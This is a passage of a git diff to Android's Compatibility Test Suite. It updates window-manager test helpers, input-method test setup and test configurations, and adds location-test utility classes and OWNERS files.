+        return mFocusedDisplayId;
+    }
+
     boolean containsStack(int stackId) {
         for (WindowStack stack : mStacks) {
             if (stackId == stack.mStackId) {
@@ -595,6 +604,7 @@
         mPinnedStackMovementBounds.setEmpty();
         mRotation = 0;
         mLastOrientation = 0;
+        mFocusedDisplayId = DEFAULT_DISPLAY;
         mDisplayFrozen = false;
     }
 
@@ -602,7 +612,6 @@
 
         int mStackId;
         ArrayList<WindowTask> mTasks = new ArrayList<>();
-        boolean mWindowAnimationBackgroundSurfaceShowing;
         boolean mAnimatingBounds;
 
         WindowStack(StackProto proto) {
@@ -616,7 +625,6 @@
                 mTasks.add(task);
                 mSubWindows.addAll(task.getWindows());
             }
-            mWindowAnimationBackgroundSurfaceShowing = proto.animationBackgroundSurfaceIsDimming;
             mAnimatingBounds = proto.animatingBounds;
         }
 
@@ -628,10 +636,6 @@
             }
             return null;
         }
-
-        boolean isWindowAnimationBackgroundSurfaceShowing() {
-            return mWindowAnimationBackgroundSurfaceShowing;
-        }
     }
 
     static class WindowTask extends WindowContainer {
@@ -684,6 +688,18 @@
             mMergedOverrideConfiguration.setTo(extract(proto.mergedOverrideConfiguration));
         }
 
+        boolean isWindowingModeCompatible(int requestedWindowingMode) {
+            if (requestedWindowingMode == WINDOWING_MODE_UNDEFINED) {
+                return true;
+            }
+            final int windowingMode = getWindowingMode();
+            if (requestedWindowingMode == WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY) {
+                return windowingMode == WINDOWING_MODE_FULLSCREEN
+                        || windowingMode == WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+            }
+            return windowingMode == requestedWindowingMode;
+        }
+
         int getWindowingMode() {
             if (mFullConfiguration == null) {
                 return WINDOWING_MODE_UNDEFINED;
@@ -730,6 +746,7 @@
         private Rect mDisplayRect = new Rect();
         private Rect mAppRect = new Rect();
         private int mDpi;
+        private int mFlags;
         private Rect mStableBounds;
         private String mName;
         private int mSurfaceSize;
@@ -755,6 +772,7 @@
                 mDisplayRect.set(0, 0, infoProto.logicalWidth, infoProto.logicalHeight);
                 mAppRect.set(0, 0, infoProto.appWidth, infoProto.appHeight);
                 mName = infoProto.name;
+                mFlags = infoProto.flags;
             }
             final DisplayFramesProto displayFramesProto = proto.displayFrames;
             if (displayFramesProto != null) {
@@ -795,14 +813,18 @@
             return mDisplayRect;
         }
 
-        Rect getAppRect() {
-            return mAppRect;
+        Rect getStableBounds() {
+            return mStableBounds;
         }
 
         String getName() {
             return mName;
         }
 
+        int getFlags() {
+            return mFlags;
+        }
+
         int getSurfaceSize() {
             return mSurfaceSize;
         }
@@ -818,7 +840,7 @@
         @Override
         public String toString() {
             return "Display #" + mDisplayId + ": name=" + mName + " mDisplayRect=" + mDisplayRect
-                    + " mAppRect=" + mAppRect;
+                + " mAppRect=" + mAppRect + " mFlags=" + mFlags;
         }
     }
 
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/annotation/Group1.java b/tests/framework/base/windowmanager/util/src/android/server/wm/annotation/Group1.java
new file mode 100644
index 0000000..ec82108
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/annotation/Group1.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.annotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * The group annotations enable to run tests in parallel according to the arguments of test runner.
+ * By default, the test without group annotation are considered to be in this group.
+ */
+@Retention(RetentionPolicy.RUNTIME)
+@Target({ ElementType.METHOD, ElementType.TYPE })
+public @interface Group1 {}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/annotation/Group2.java b/tests/framework/base/windowmanager/util/src/android/server/wm/annotation/Group2.java
new file mode 100644
index 0000000..8b3b29f
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/annotation/Group2.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.annotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/** Marks a test to be run in group 2. */
+@Retention(RetentionPolicy.RUNTIME)
+@Target({ ElementType.METHOD, ElementType.TYPE })
+public @interface Group2 {}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/annotation/Group3.java b/tests/framework/base/windowmanager/util/src/android/server/wm/annotation/Group3.java
new file mode 100644
index 0000000..662eaaf
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/annotation/Group3.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.annotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/** Marks a test to be run in group 3. */
+@Retention(RetentionPolicy.RUNTIME)
+@Target({ ElementType.METHOD, ElementType.TYPE })
+public @interface Group3 {}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/settings/SettingsSession.java b/tests/framework/base/windowmanager/util/src/android/server/wm/settings/SettingsSession.java
index fa27ee3..e5194c8 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/settings/SettingsSession.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/settings/SettingsSession.java
@@ -80,10 +80,10 @@
     private static final SessionCounters sSessionCounters = new SessionCounters();
 
     protected final Uri mUri;
+    protected final boolean mHasInitialValue;
+    protected final T mInitialValue;
     private final SettingsGetter<T> mGetter;
     private final SettingsSetter<T> mSetter;
-    private final boolean mHasInitialValue;
-    private final T mInitialValue;
 
     public SettingsSession(final Uri uri, final SettingsGetter<T> getter,
             final SettingsSetter<T> setter) {
@@ -152,7 +152,7 @@
         return getter.get(getContentResolver(), uri.getLastPathSegment());
     }
 
-    private static void delete(final Uri uri) {
+    protected static void delete(final Uri uri) {
         final List<String> segments = uri.getPathSegments();
         if (segments.size() != 2) {
             Log.w(TAG, "Unsupported uri for deletion: " + uri, new Throwable());
diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml
index f64bd17..ce5e679 100644
--- a/tests/inputmethod/AndroidTest.xml
+++ b/tests/inputmethod/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="component" value="inputmethod" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <!--
         TODO(yukawa): come up with a proper way to take care of devices that do not support
         installable IMEs.  Ideally target_preparer should have an option to annotate required
diff --git a/tests/inputmethod/mockime/Android.bp b/tests/inputmethod/mockime/Android.bp
index 7ee21d3..42f057a 100644
--- a/tests/inputmethod/mockime/Android.bp
+++ b/tests/inputmethod/mockime/Android.bp
@@ -34,7 +34,7 @@
     optimize: {
         enabled: false,
     },
-    sdk_version: "test_current",
+    sdk_version: "current",
     min_sdk_version: "19",
     // tag this module as a cts test artifact
     test_suites: [
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
index 8ad306b..5e653c6 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
@@ -18,7 +18,7 @@
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
-import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
 
 import android.app.UiAutomation;
 import android.content.BroadcastReceiver;
@@ -26,6 +26,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.HandlerThread;
@@ -40,7 +41,6 @@
 import android.view.inputmethod.InputConnection;
 import android.view.inputmethod.InputContentInfo;
 import android.view.inputmethod.InputMethodManager;
-import android.view.inputmethod.InputMethodSystemProperty;
 
 import androidx.annotation.GuardedBy;
 import androidx.annotation.NonNull;
@@ -48,6 +48,8 @@
 
 import com.android.compatibility.common.util.PollingCheck;
 
+import org.junit.AssumptionViolatedException;
+
 import java.io.IOException;
 import java.util.concurrent.TimeUnit;
 
@@ -238,10 +240,10 @@
             @NonNull Context context,
             @NonNull UiAutomation uiAutomation,
             @Nullable ImeSettings.Builder imeSettings) throws Exception {
-        // Currently, MockIme doesn't fully support multi-client IME. Skip tests until it does.
-        // TODO: Re-enable when MockIme supports multi-client IME.
-        assumeFalse("MockIme session doesn't support Multi-Client IME, skip it",
-                InputMethodSystemProperty.MULTI_CLIENT_IME_ENABLED);
+        final String unavailabilityReason = getUnavailabilityReason(context);
+        if (unavailabilityReason != null) {
+            throw new AssumptionViolatedException(unavailabilityReason);
+        }
 
         final MockImeSession client = new MockImeSession(context, uiAutomation);
         client.initialize(imeSettings);
@@ -249,6 +251,19 @@
     }
 
     /**
+     * Checks if the {@link MockIme} can be used in this device.
+     *
+     * @return {@code null} if it can be used, or message describing why if it cannot.
+     */
+    @Nullable
+    public static String getUnavailabilityReason(@NonNull Context context) {
+        if (!context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_INPUT_METHODS)) {
+            return "Device must support installable IMEs that implement InputMethodService API";
+        }
+        return null;
+    }
+
+    /**
      * @return {@link ImeEventStream} object that stores events sent from {@link MockIme} since the
      *         session is created.
      */
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSessionRule.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSessionRule.java
index 041d2b8..3eccac3 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSessionRule.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSessionRule.java
@@ -62,7 +62,12 @@
                 if (Log.isLoggable(TAG, Log.VERBOSE)) {
                     Log.v(TAG, "Creating MockImeSession on " + description.getDisplayName());
                 }
-                mMockImeSession = MockImeSession.create(mContext, mUiAutomation, mImeSettings);
+                final String errorMsg = MockImeSession.getUnavailabilityReason(mContext);
+                if (errorMsg != null) {
+                    Log.w(TAG, "Mock IME not available: " + errorMsg);
+                } else {
+                    mMockImeSession = MockImeSession.create(mContext, mUiAutomation, mImeSettings);
+                }
                 try {
                     base.evaluate();
                 } finally {
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
index 8d9890d..2c3e4fa 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
@@ -21,6 +21,7 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.content.ClipDescription;
 import android.net.Uri;
@@ -209,17 +210,38 @@
 
     private static void verifyDeleteSurroundingTextMain(final String initialState,
             final int deleteBefore, final int deleteAfter, final String expectedState) {
-        final CharSequence source = InputConnectionTestUtils.formatString(initialState);
-        final BaseInputConnection ic = createConnectionWithSelection(source);
-        ic.deleteSurroundingText(deleteBefore, deleteAfter);
+        verifyDeleteSurroundingTextMain(initialState, deleteBefore, deleteAfter, expectedState,
+                false /* clearSelection */);
+    }
 
-        final CharSequence expectedString = InputConnectionTestUtils.formatString(expectedState);
+    private static void verifyDeleteSurroundingTextMain(final String initialState,
+            final int deleteBefore, final int deleteAfter, final String expectedState,
+            final boolean clearSelection) {
+        final CharSequence source = clearSelection ? initialState
+                : InputConnectionTestUtils.formatString(initialState);
+        final BaseInputConnection ic = createConnectionWithSelection(source);
+
+        if (clearSelection) {
+            Selection.removeSelection(ic.getEditable());
+        }
+
+        final boolean result = ic.deleteSurroundingText(deleteBefore, deleteAfter);
+
+        final CharSequence expectedString = clearSelection ? expectedState
+                : InputConnectionTestUtils.formatString(expectedState);
         final int expectedSelectionStart = Selection.getSelectionStart(expectedString);
         final int expectedSelectionEnd = Selection.getSelectionEnd(expectedString);
 
         // It is sufficient to check the surrounding text up to source.length() characters, because
         // InputConnection.deleteSurroundingText() is not supposed to increase the text length.
         final int retrievalLength = source.length();
+        if (!result) {
+            assertEquals(expectedState, ic.getEditable().toString());
+            return;
+        } else if (clearSelection) {
+            fail("deleteSurroundingText should return false for invalid selection");
+        }
+
         if (expectedSelectionStart == 0) {
             assertTrue(TextUtils.isEmpty(ic.getTextBeforeCursor(retrievalLength, 0)));
         } else {
@@ -246,6 +268,8 @@
      */
     @Test
     public void testDeleteSurroundingText() {
+        verifyDeleteSurroundingTextMain("0123456789", 1, 2, "0123456789",
+                true /* clearSelection*/);
         verifyDeleteSurroundingTextMain("012[]3456789", 0, 0, "012[]3456789");
         verifyDeleteSurroundingTextMain("012[]3456789", -1, -1, "012[]3456789");
         verifyDeleteSurroundingTextMain("012[]3456789", 1, 2, "01[]56789");
diff --git a/tests/leanbackjank/AndroidTest.xml b/tests/leanbackjank/AndroidTest.xml
index c192fdb..2dc04e0 100644
--- a/tests/leanbackjank/AndroidTest.xml
+++ b/tests/leanbackjank/AndroidTest.xml
@@ -20,6 +20,7 @@
     <!-- Instant apps for TV is not supported. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsLeanbackJankTestCases.apk" />
diff --git a/tests/leanbackjank/OWNERS b/tests/leanbackjank/OWNERS
new file mode 100644
index 0000000..729b9b6
--- /dev/null
+++ b/tests/leanbackjank/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 188489
+dake@google.com
\ No newline at end of file
diff --git a/tests/libcore/jsr166/AndroidTest.xml b/tests/libcore/jsr166/AndroidTest.xml
index ed88b00a..f2aaee5 100644
--- a/tests/libcore/jsr166/AndroidTest.xml
+++ b/tests/libcore/jsr166/AndroidTest.xml
@@ -17,6 +17,9 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <!-- Test is eligible to run on Android Multiuser users other than SYSTEM.
+         See source.android.com/devices/tech/admin/multi-user#user_types -->
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
diff --git a/tests/libcore/luni/AndroidTest.xml b/tests/libcore/luni/AndroidTest.xml
index 7fef84d..b30e290 100644
--- a/tests/libcore/luni/AndroidTest.xml
+++ b/tests/libcore/luni/AndroidTest.xml
@@ -17,6 +17,9 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <!-- Test is eligible to run on Android Multiuser users other than SYSTEM.
+         See source.android.com/devices/tech/admin/multi-user#user_types -->
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
diff --git a/tests/libcore/ojluni/AndroidTest.xml b/tests/libcore/ojluni/AndroidTest.xml
index 7a1b306..f4d043a 100644
--- a/tests/libcore/ojluni/AndroidTest.xml
+++ b/tests/libcore/ojluni/AndroidTest.xml
@@ -17,6 +17,9 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <!-- Test is eligible to run on Android Multiuser users other than SYSTEM.
+         See source.android.com/devices/tech/admin/multi-user#user_types -->
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
diff --git a/tests/libcore/okhttp/AndroidTest.xml b/tests/libcore/okhttp/AndroidTest.xml
index 45a63b5..771293e 100644
--- a/tests/libcore/okhttp/AndroidTest.xml
+++ b/tests/libcore/okhttp/AndroidTest.xml
@@ -17,6 +17,9 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <!-- Test is eligible to run on Android Multiuser users other than SYSTEM.
+         See source.android.com/devices/tech/admin/multi-user#user_types -->
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
diff --git a/tests/libcore/wycheproof-bc/AndroidTest.xml b/tests/libcore/wycheproof-bc/AndroidTest.xml
index 4b6aaf6..c962faa 100644
--- a/tests/libcore/wycheproof-bc/AndroidTest.xml
+++ b/tests/libcore/wycheproof-bc/AndroidTest.xml
@@ -17,6 +17,9 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <!-- Test is eligible to run on Android Multiuser users other than SYSTEM.
+         See source.android.com/devices/tech/admin/multi-user#user_types -->
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/libcore/wycheproof/AndroidTest.xml b/tests/libcore/wycheproof/AndroidTest.xml
index f3c2908..27f1f4c 100644
--- a/tests/libcore/wycheproof/AndroidTest.xml
+++ b/tests/libcore/wycheproof/AndroidTest.xml
@@ -17,6 +17,9 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <!-- Test is eligible to run on Android Multiuser users other than SYSTEM.
+         See source.android.com/devices/tech/admin/multi-user#user_types -->
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/location/Android.mk b/tests/location/Android.mk
new file mode 100644
index 0000000..8f2b031
--- /dev/null
+++ b/tests/location/Android.mk
@@ -0,0 +1,16 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+include $(call all-subdir-makefiles)
+
diff --git a/tests/location/OWNERS b/tests/location/OWNERS
new file mode 100644
index 0000000..53f2bc3
--- /dev/null
+++ b/tests/location/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 32850
+wyattriley@google.com
+sooniln@google.com
+weiwa@google.com
+dnchrist@google.com
diff --git a/tests/location/common/Android.bp b/tests/location/common/Android.bp
new file mode 100644
index 0000000..2b24322
--- /dev/null
+++ b/tests/location/common/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "LocationCtsCommon",
+    srcs: [
+        "src/**/*.java",
+    ],
+    libs: [
+        "compatibility-device-util-axt",
+        "android.test.base.stubs",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/location/common/src/android/location/cts/common/GnssTestCase.java b/tests/location/common/src/android/location/cts/common/GnssTestCase.java
new file mode 100644
index 0000000..10aeaad
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/GnssTestCase.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.location.cts.common;
+
+import android.test.AndroidTestCase;
+
+/**
+ * Base Test Case class for all Gnss Tests.
+ */
+public abstract class GnssTestCase extends AndroidTestCase {
+
+    // This is used to mark cts tests as CtsVerifier tests.
+    private volatile boolean mCtsVerifierTest = false;
+
+    protected static boolean YEAR_2017_CAPABILITY_ENFORCED = false;
+
+    public TestLocationManager mTestLocationManager;
+
+    protected GnssTestCase() {
+    }
+
+    public void setTestAsCtsVerifierTest(boolean value) {
+        mCtsVerifierTest = value;
+    }
+
+    public boolean isCtsVerifierTest() {
+        return mCtsVerifierTest;
+    }
+}
diff --git a/tests/location/common/src/android/location/cts/common/LocationListenerCapture.java b/tests/location/common/src/android/location/cts/common/LocationListenerCapture.java
new file mode 100644
index 0000000..bdb66bf
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/LocationListenerCapture.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common;
+
+import android.content.Context;
+import android.location.Location;
+import android.location.LocationListener;
+import android.location.LocationManager;
+import android.os.Bundle;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class LocationListenerCapture implements LocationListener, AutoCloseable {
+
+    private final LocationManager mLocationManager;
+    private final LinkedBlockingQueue<Location> mLocations;
+    private final LinkedBlockingQueue<Boolean> mProviderChanges;
+
+    public LocationListenerCapture(Context context) {
+        mLocationManager = context.getSystemService(LocationManager.class);
+        mLocations = new LinkedBlockingQueue<>();
+        mProviderChanges = new LinkedBlockingQueue<>();
+    }
+
+    public Location getNextLocation(long timeoutMs) throws InterruptedException {
+        return mLocations.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    public Boolean getNextProviderChange(long timeoutMs) throws InterruptedException {
+        return mProviderChanges.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    @Override
+    public void onLocationChanged(Location location) {
+        mLocations.add(location);
+    }
+
+    @Override
+    public void onStatusChanged(String provider, int status, Bundle extras) {
+    }
+
+    @Override
+    public void onProviderEnabled(String provider) {
+        mProviderChanges.add(true);
+    }
+
+    @Override
+    public void onProviderDisabled(String provider) {
+        mProviderChanges.add(false);
+    }
+
+    @Override
+    public void close() {
+        mLocationManager.removeUpdates(this);
+    }
+}
\ No newline at end of file
diff --git a/tests/location/common/src/android/location/cts/common/LocationPendingIntentCapture.java b/tests/location/common/src/android/location/cts/common/LocationPendingIntentCapture.java
new file mode 100644
index 0000000..22432dc
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/LocationPendingIntentCapture.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common;
+
+import static android.location.LocationManager.KEY_LOCATION_CHANGED;
+import static android.location.LocationManager.KEY_PROVIDER_ENABLED;
+
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.location.Location;
+import android.location.LocationManager;
+import android.os.Looper;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+
+public class LocationPendingIntentCapture extends BroadcastReceiver implements AutoCloseable {
+
+    private static final String ACTION = "android.location.cts.LOCATION_BROADCAST";
+    private static final AtomicInteger sRequestCode = new AtomicInteger(0);
+
+    private final Context mContext;
+    private final LocationManager mLocationManager;
+    private final PendingIntent mPendingIntent;
+    private final LinkedBlockingQueue<Location> mLocations;
+    private final LinkedBlockingQueue<Boolean> mProviderChanges;
+
+    public LocationPendingIntentCapture(Context context) {
+        mContext = context;
+        mLocationManager = context.getSystemService(LocationManager.class);
+        mPendingIntent = PendingIntent.getBroadcast(context, sRequestCode.getAndIncrement(),
+                new Intent(ACTION).setPackage(context.getPackageName()),
+                PendingIntent.FLAG_CANCEL_CURRENT);
+        mLocations = new LinkedBlockingQueue<>();
+        mProviderChanges = new LinkedBlockingQueue<>();
+
+        context.registerReceiver(this, new IntentFilter(ACTION));
+    }
+
+    public PendingIntent getPendingIntent() {
+        return mPendingIntent;
+    }
+
+    public Location getNextLocation(long timeoutMs) throws InterruptedException {
+        if (Looper.myLooper() == Looper.getMainLooper()) {
+            throw new AssertionError("getNextLocation() called from main thread");
+        }
+
+        return mLocations.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    public Boolean getNextProviderChange(long timeoutMs) throws InterruptedException {
+        if (Looper.myLooper() == Looper.getMainLooper()) {
+            throw new AssertionError("getNextProviderChange() called from main thread");
+        }
+
+        return mProviderChanges.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    @Override
+    public void close() {
+        mLocationManager.removeUpdates(mPendingIntent);
+        mContext.unregisterReceiver(this);
+        mPendingIntent.cancel();
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        if (intent.hasExtra(KEY_PROVIDER_ENABLED)) {
+            mProviderChanges.add(intent.getBooleanExtra(KEY_PROVIDER_ENABLED, false));
+        } else if (intent.hasExtra(KEY_LOCATION_CHANGED)) {
+            mLocations.add(intent.getParcelableExtra(KEY_LOCATION_CHANGED));
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/location/common/src/android/location/cts/common/SoftAssert.java b/tests/location/common/src/android/location/cts/common/SoftAssert.java
new file mode 100644
index 0000000..76d68f0
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/SoftAssert.java
@@ -0,0 +1,190 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
